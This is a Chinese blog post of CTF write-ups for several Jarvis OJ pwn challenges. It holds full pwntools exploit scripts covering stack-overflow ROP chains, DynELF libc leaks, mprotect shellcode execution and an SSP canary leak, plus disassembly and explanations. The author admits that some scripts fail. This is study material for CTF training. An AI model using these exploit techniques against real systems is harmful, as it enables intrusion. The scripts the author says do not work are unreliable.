jarvis OJ部分writeup
[XMAN]level 1 —— 简单shellcode利用
/*************************************************************************************************************/
level4 ——DynELF
DynELF是在没有libc文件情况下,通过对任意地址的读,获得函数地址的工具
通常情况下,可以通过leak两个函数got中所存的地址,从而确定libc版本,获得所需函数地址
但在查库无法确定版本的情况下,可以使用DynELF在内存中搜索。但DynELF容易超时,慎用
以level4为例,简单记录DynELF的用法 获取文件
程序保护和程序漏洞都没有设置障碍,可以直接通过一次read实现溢出
经过尝试,无法通过write.got和read.got中的地址找到libc版本,也不方便实现system_call
所以可以先用DynELF获得system函数的地址,再向bss段中写入“/bin/sh”,获取shell
#!/usr/bin/env python
# coding=utf-8
from pwn import *
# context.log_level = "debug"
io = remote("pwn2.jarvisoj.com", 9880)
elf = ELF("./level4") # plt.got
read_plt = elf.plt["read"]
write_plt = elf.plt["write"] vuln_addr = 0x804844b
main_addr = 0x8048470
bss_addr = 0x804a024 def leak(address):
payload = 'a' * (0x88+0x4)
payload += p32(write_plt) + p32(vuln_addr) # 能够循环利用漏洞
payload += p32(1) + p32(address) + p32(4) # data只要4个字节长度
io.send(payload)
data = io.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data dyn = DynELF(leak,elf = ELF("./level4"))
sys_addr = dyn.lookup("__libc_system","libc")
# print hex(sys_addr) payload = 'a' * (0x88 + 0x4)
payload += p32(read_plt) + p32(sys_addr)
payload += p32(1) + p32(bss_addr) + p32(10)
io.send(payload)
io.sendline("/bin/sh")
io.interactive()
关于DynELF较为详细的介绍:https://www.anquanke.com/post/id/85129 更加神学的说明
另有一道very_overflow也想用这种方法尝试一下,是利用puts构造leak函数
我觉得理论上和level4是同理可行的,但是没能成功得到system地址
脚本和错误如下,望路过的各路大神帮忙指点一二
#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import * context.log_level = "debug"
# io = remote("hackme.inndy.tw",7705)
io = process("./very_overflow")
elf = ELF("./very_overflow") puts_addr = elf.plt["puts"]
puts_got = elf.got["puts"]
vuln_addr = 0x8048853 def debug():
raw_input("Enter>>")
# gdb.stop()
gdb.attach(io) def fill():
sss = 'a' * 128
for i in range(128):
io.recvuntil("action: ")
io.sendline("")
io.recvuntil("note: ")
io.sendline(sss) def leak(address):
count = 0
data = ''
fill()
io.recvuntil("action: ")
#
io.sendline("")
io.recvuntil("show: ")
io.sendline("")
io.recvuntil("action: ")
io.sendline("")
# mZ
io.recvuntil("note: ")
debug()
payload = p32(0) + 'a' * 12
payload += p32(puts_addr) + p32(vuln_addr) + p32(address) # debug()
io.sendline(payload)
# note id
io.recvline()
# puts
up = '' while 1 :
c = io.recv(1)
count += 1
if up == '\n' and c == '':
data[-1] = '\x00'
break
else:
data += c
up = c
print data
data = data[:4]
'''
for i in range(4) :
data += io.recv(numb = 1,timeout = 1)
'''
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
Dyn = DynELF(leak,elf = ELF("./very_overflow"))
sys_addr = Dyn.lookup("__libc_system","libc")
print hex(sys_addr) '''
io.recvuntil("action: ")
io.sendline("3")
io.recvuntil("show: ")
io.sendline("127")
io.recvline()
switch_addr = io.recvline()[10:-1]
print switch_addr
'''
感谢大佬们指教!
Level5——mprotect函数和mmap函数利用
本题文件和level3x64相同,但是禁用了system和execve函数,也就无法通过返回调用system函数或系统调用拿到shell
所以目前只能通过执行shellcode,但是开启了NX保护,不能直接在栈中执行。
可以通过两个途径
*mprotect函数:通过修改一段内存的权限,使其可以写入shellcode并执行。
*mmap函数:将一个文件映射到进程的地址空间,进程就可以采用指针的方式读写操作这一段内存···参考
这里使用mprotect函数,之后补充利用mmap函数的方法。
准备阶段
①leak函数地址的方式和level3相同;可以将shellcode写入bss段,通过mprotect函数修改bss段的执行权限,最终运行shellcode。
②关于通用gadgets 参考自0x9A82
在level3x64中也遇到了write函数和read函数没有找到控制第三个参数寄存器rdx的gadgets的问题,通过调试能发现执行时rdx的原始值为0x200,不会造成什么影响。但是使用mprotect函数则要求我们修改参数值。
此时的通用gadgets可以解决1~3个参数的传递问题,__libc_csu_init代码如下
Dump of assembler code for function __libc_csu_init:
0x0000000000400650 <+>: push r15
0x0000000000400652 <+>: mov r15d,edi
0x0000000000400655 <+>: push r14
0x0000000000400657 <+>: mov r14,rsi
0x000000000040065a <+>: push r13
0x000000000040065c <+>: mov r13,rdx
0x000000000040065f <+>: push r12
0x0000000000400661 <+>: lea r12,[rip+0x2001d8] # 0x600840
0x0000000000400668 <+>: push rbp
0x0000000000400669 <+>: lea rbp,[rip+0x2001d8] # 0x600848
0x0000000000400670 <+>: push rbx
0x0000000000400671 <+>: sub rbp,r12
0x0000000000400674 <+>: xor ebx,ebx
0x0000000000400676 <+>: sar rbp,0x3
0x000000000040067a <+>: sub rsp,0x8
0x000000000040067e <+>: call 0x400480 <_init>
0x0000000000400683 <+>: test rbp,rbp
0x0000000000400686 <+>: je 0x4006a6 <__libc_csu_init+>
0x0000000000400688 <+>: nop DWORD PTR [rax+rax*+0x0]
0x0000000000400690 <+>: mov rdx,r13
0x0000000000400693 <+>: mov rsi,r14
0x0000000000400696 <+>: mov edi,r15d
0x0000000000400699 <+>: call QWORD PTR [r12+rbx*]
0x000000000040069d <+>: add rbx,0x1
0x00000000004006a1 <+>: cmp rbx,rbp
0x00000000004006a4 <+>: jne 0x400690 <__libc_csu_init+>
0x00000000004006a6 <+>: add rsp,0x8
0x00000000004006aa <+>: pop rbx
0x00000000004006ab <+>: pop rbp
0x00000000004006ac <+>: pop r12
0x00000000004006ae <+>: pop r13
0x00000000004006b0 <+>: pop r14
0x00000000004006b2 <+>: pop r15
0x00000000004006b4 <+>: ret
利用过程:
1.执行gad1
0x00000000004006aa <+90>: pop rbx //0
0x00000000004006ab <+91>: pop rbp //1
0x00000000004006ac <+92>: pop r12 //call
0x00000000004006ae <+94>: pop r13
0x00000000004006b0 <+96>: pop r14
0x00000000004006b2 <+98>: pop r15
0x00000000004006b4 <+100>: ret
2.再执行gad2
0x0000000000400690 <+64>: mov rdx,r13
0x0000000000400693 <+67>: mov rsi,r14
0x0000000000400696 <+70>: mov edi,r15d
0x0000000000400699 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040069d <+77>: add rbx,0x1
0x00000000004006a1 <+81>: cmp rbx,rbp
0x00000000004006a4 <+84>: jne 0x400690 <__libc_csu_init+64>
0x00000000004006a6 <+86>: add rsp,0x8
0x00000000004006aa <+90>: pop rbx
0x00000000004006ab <+91>: pop rbp
0x00000000004006ac <+92>: pop r12
0x00000000004006ae <+94>: pop r13
0x00000000004006b0 <+96>: pop r14
0x00000000004006b2 <+98>: pop r15
0x00000000004006b4 <+100>: ret
稍作解释:
① 首先x64函数调用的三个参数分别rdi,rsi,rdx,先pop到r13\14\15,再mov可以实现传参操作
r13 = rdx =arg3
r14 = rsi =arg2
r15d= rdi =arg1
r12= call address
② r12要传入存着调用函数地址的地址,[r12]相当于指针,会调用指向的地址,所以这里传入function.got
③rbx和rbp必须为0,1,使得call [r12+rbx*8],和 + 84处不会跳走
两个参数和一个参数的使用
此外还有一个老司机才知道的x64 gadgets,就是 pop rdi,ret的gadgets。这个gadgets还是在这里,
但是是由opcode错位产生的。 如上的例子中4008A2、4008A4两句的字节码如下 0x41 0x5f 0xc3
意思是pop r15,ret,但是恰好pop rdi,ret的opcode如下 0x5f 0xc3
因此如果我们指向0x4008A3就可以获得pop rdi,ret的opcode,从而对于单参数函数可以直接获得执行 与此类似的,还有0x4008A1处的 pop rsi,pop r15,ret 那么这个有什么用呢?我们知道x64传参顺序是rdi,rsi,rdx,rcx。 所以rsi是第二个参数,我们可以在rop中配合pop rdi,ret来使用pop rsi,pop r15,ret
这样就可以轻松的调用2个参数的函数。
整体思路
1.leak出mprotect函数的地址
2.将shellcode写入bss段
3.将mprotect地址写入__gmon_start__,以便于使用通用gadgets进行调用
4.将bss地址写入__libc_start_main
5.使用通用gadgets传参,调用mprotect函数修改bss段的权限
6.返回到shellcode,执行
exp(我也没搞清楚哪里fail了,僵持了好多天了,过些日子去去非气再说吧)
#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import * context.log_level = 'debug'
context.arch = 'amd64' io = process("./level5")
io = remote("pwn2.jarvisoj.com",9884)
libc = ELF("./libc-2.19.so")
elf = ELF("./level5") # gdb.attach(io,"b * 0x400613")
# plt and got and libc for ready
write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_plt = elf.plt["read"]
write_libc = libc.symbols["write"]
mprotect_libc = libc.symbols["mprotect"]
bss = 0x600a88
start = elf.symbols["main"] # universe gadgets
pop_rbx_r15_ret = 0x4006aa
mov_rdx_call_r12 = 0x400690 def universe_gadgets(payload,arg1,arg2,arg3,call):
payload += p64(pop_rbx_r15_ret)
payload += p64(0) + p64(1)
payload += p64(call) + p64(arg3) + p64(arg2) + p64(arg1)
payload += p64(mov_rdx_call_r12)
payload += 7 * p64(0xdeadbeef)
return payload '''
# leak the address of mprotect
payload = 'a' * (0x80 + 0x8)
payload = universe_gadgets(payload,1,write_got,8,write_plt)
payload += p64(start)
''' # leak the address of mprotect
rdi_ret = 0x4006B3
rsi_ret = 0x4006B1
payload = 'a' * 0x88
payload += p64(rdi_ret) + p64(1)
payload += p64(rsi_ret) + p64(write_got) + p64(0xdeadbeef)
payload += p64(write_plt) + p64(start)
io.recvuntil("put:\n")
io.send(payload)
write_addr = u64(io.recv(8))
mprotect_addr = write_addr - write_libc + mprotect_libc
print "mprotect_addr ->> " + hex(mprotect_addr) # read the shellcode into bss
payload = 'a' * 0x88
payload += p64(rdi_ret) + p64(0)
payload += p64(rsi_ret) + p64(bss) + p64(0xdeadbeef)
payload += p64(read_plt) + p64(start)
shellcode = asm(shellcraft.amd64.sh())
io.recvuntil("put:\n")
io.send(payload)
io.send(shellcode + '\0')
print "read over" # read the mprotect_addr to __gmon_start__
gmon = 0x600a70
payload = 'a' * 0x88
payload += p64(rdi_ret)
payload += p64(0)
payload += p64(rsi_ret) + p64(gmon) + p64(0xdeadbeef)
payload += p64(read_plt) + p64(start)
io.recvuntil("put:\n")
io.send(payload)
io.send(p64(mprotect_addr))
print 'f**k ok' # change bss into 'rwx' with mprotect
payload = 'a' * 0x88
payload = universe_gadgets(payload,0x600000,0x1000,7,gmon)
payload += p64(start)
io.recvuntil("put:\n")
io.send(payload)
print "change successfully" # read the bss to __libc_start_main
libc_start = 0x600a68
payload = 'a' * 0x88
payload += p64(rdi_ret)
payload += p64(0)
payload += p64(rsi_ret) + p64(libc_start) + p64(0xdeadbeef)
payload += p64(read_plt) + p64(start)
io.recvuntil("put:\n")
io.send(payload)
io.send(p64(bss)) # execv the shellcode
payload = 'a' * 0x88
payload += p64(libc_start) + p64(libc_start)
io.recvuntil("put:\n")
io.send(payload) io.interactive()
io.close()
Smashes
SSP leak:主动触发canary,使泄露目标内容。
查看源码:
_stack_chk_fail:
void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}
fortify_fail:
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while ()
__libc_message (, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)
可以发现由于触发canary而调用的fortify_fail函数中输出第一个启动参数的指针,而且不会限制输出长度。
函数栈帧和启动参数的位置关系如图(图片来源veritas)
可以发现,如果我们使payload足够长以至于突破栈帧,用目标地址覆盖到启动参数的位置,就能够在触发canary后将目标地址中的信息泄露出来。
而他的条件就是使用gets类不限制输入长度的方式,而且已知目标信息的地址,同时需要知道字符串和argv[0]的相对位置。
这种方式可以用来泄露证书密码或其他在内存中不变的信息,也可以用来泄露函数地址,即使有PIE保护,也只是前三位的随机化,16^3的范围还是可以接受的。
ELF的重映射:
当可执行文件足够小的时候,他的不同区段可能在内存中被多次映射,所以当其中一个损坏,还是有机会找到另一处存储着相同的内容。
OK,查看题目文件smashes
开启了栈保护,使用gets输入,将最后一位转化成'\n',虽然能够无限长度输入,却无法绕过canary或打印flag。
根据以上分析,我们可以使用SSP leak泄露出flag,但是发现在打印flag时,该地址上的flag已经被覆盖了。
所以用到了ELF的重映射,在gdb中搜索flag,可以找到另一个备份
换成另一个地址后能够顺利得到flag。
# 我不是很清楚200是怎么来的,因为去掉了符号表,所以gdb并没能找到变量的地址,不过可以通过不断尝试找到合适的覆盖长度,直接暴力的 p64(target_addr)*200进行全部覆盖就可以了
EXP:
#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *
import time
context.log_level = 'debug'
# io = process("smashes")
io = remote("pwn.jarvisoj.com",9877)
payload = p64(0x400d21) * 0x200 # 200,201,···209···好像都是可以的
io.recvuntil("name?")
io.sendline(payload)
io.recvuntil("flag: ")
io.sendline()
io.recv()
time.sleep(0.5) # 在运行过程中发现即使相同的脚本也并不是每次都能成功,可能是最后没有接收到就结束了进程?
# 不是非常稳定,有时候不能触发canary。。。多试两次还是可以出来的
Test Your Memory
好像第一个自己直接顺利搞出来的?跟level1好像差不多,直接栈溢出
只是system函数和参数没有在明面上,猜一下一试就得了
exp:
#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *
context.log_level = 'debug'
io = remote("pwn2.jarvisoj.com", 9876)
elf = ELF("./memory") io.recvuntil("? : \n")
catflag = int(io.recvline(),16)
sys = elf.symbols["win_func"]
# print hex(address) payload = 'a' * 0x17 + p32(sys) + p32(catflag) *2
io.recvuntil("> ")
io.sendline(payload)
# io.recv()
io.interactive()
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;
jarvis OJ部分writeup的更多相关文章
- Jarvis OJ - class10 -Writeup
Jarvis OJ - class10 -Writeup 转载请注明出处:http://www.cnblogs.com/WangAoBo/p/7552266.html 题目: Jarivs OJ的一道 ...
- Jarvis OJ - DD-Hello -Writeup
Jarvis OJ - DD-Hello -Writeup 转载请注明出处http://www.cnblogs.com/WangAoBo/p/7239216.html 题目: 分析: 第一次做这道题时 ...
- Jarvis OJ - [XMAN]level1 - Writeup
Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分 ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- Jarvis OJ - 软件密码破解-1 -Writeup
Jarvis OJ - 软件密码破解-1 -Writeup 转载请标明出处http://www.cnblogs.com/WangAoBo/p/7243801.html 记录这道题主要是想记录一下动态调 ...
- Jarvis OJ - 爬楼梯 -Writeup
Jarvis OJ - 爬楼梯 -Writeup 本来是想逆一下算法的,后来在学长的指导下发现可以直接修改关键函数,这个题做完有种四两拨千斤的感觉,记录在这里 转载请标明出处:http://www.c ...
- Jarvis OJ - Baby's Crack - Writeup
Jarvis OJ - Baby's Crack - Writeup M4x原创,欢迎转载,转载请表明出处 这是我第一次用爆破的方法做reverse,值得记录一下 题目: 文件下载 分析: 下载后解压 ...
- Jarvis OJ部分逆向
Jarvis OJ部分逆向题解 很久没有写博客了,前天上Jarvis OJ刷了几道逆向,保持了一下感觉.都是简单题目,写个writeup记录一下. easycrackme int __cdecl ma ...
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
随机推荐
- python爬虫步骤 (新手备学 )爬虫编程。
Python爬虫是用Python编程语言实现的网络爬虫,主要用于网络数据的抓取和处理,相比于其他语言,Python是一门非常适合开发网络爬虫的编程语言,大量内置包,可以C Python爬虫可以做的事情 ...
- Play! 1.x Eclipse Debug调试报错解决方法记录
使用Play eclipsify xxxx[项目路径],可以把play new xxxx[项目路径]创建的工程生成为Eclipse的项目 但是在Debug AS 调试的时候,会报以下错误 Error ...
- StringBuilder的性能
1.新创建一个对象 long startTimeA = System.currentTimeMillis(); StringBuilder sb = null; for (int i = 1 ...
- 制作MySQL RPM安装包Spec
适用环境: 数据库版本:MySQL 操作系统:CentOS 7 制作思路: 将数据库初始化和配置工作放到安装脚本中方便定制: 1.打包MySQL应用目录 2.不自动生成配置文件 3.不自动生成数据目录 ...
- 由于找不到opencv_world320d.dll,无法继续执行代码。解决方案
将 opencv 安装路径 目录\opencv\build\x64\vc14\bin 中 3 个后缀是.dll 的应用程序扩展复制到 C:\Windows\System32 中 完美解决!
- [Python] 前程无忧招聘网爬取软件工程职位 网络爬虫 https://www.51job.com
首先进入该网站的https://www.51job.com/robots.txt页面 给出提示: 找不到该页 File not found 您要查看的页已删除,或已改名,或暂时不可用. 请尝试以下操作 ...
- SqlServer 常用语句方法
批量生成删表语句 select 'drop table '+b.name+'.'+a.name+';' from sys.tables a left join sys.schemas b on a.s ...
- IDEA 同时打开两个项目,相互引用
- cartographer保存地图
手持激光,并用cartographer建图,保存的地图是.pbstream格式 ht@ht:~$ rosservice call /write_state /home/ht/Desktop/carto ...
- java学习笔记之IO编程—File文件操作类
1. File类说明 在Java语言里面提供有对于文件操作系统操作的支持,而这个支持就在java.io.File类中进行了定义,也就是说在整个java.io包里面,File类是唯一一个与文件本身操作( ...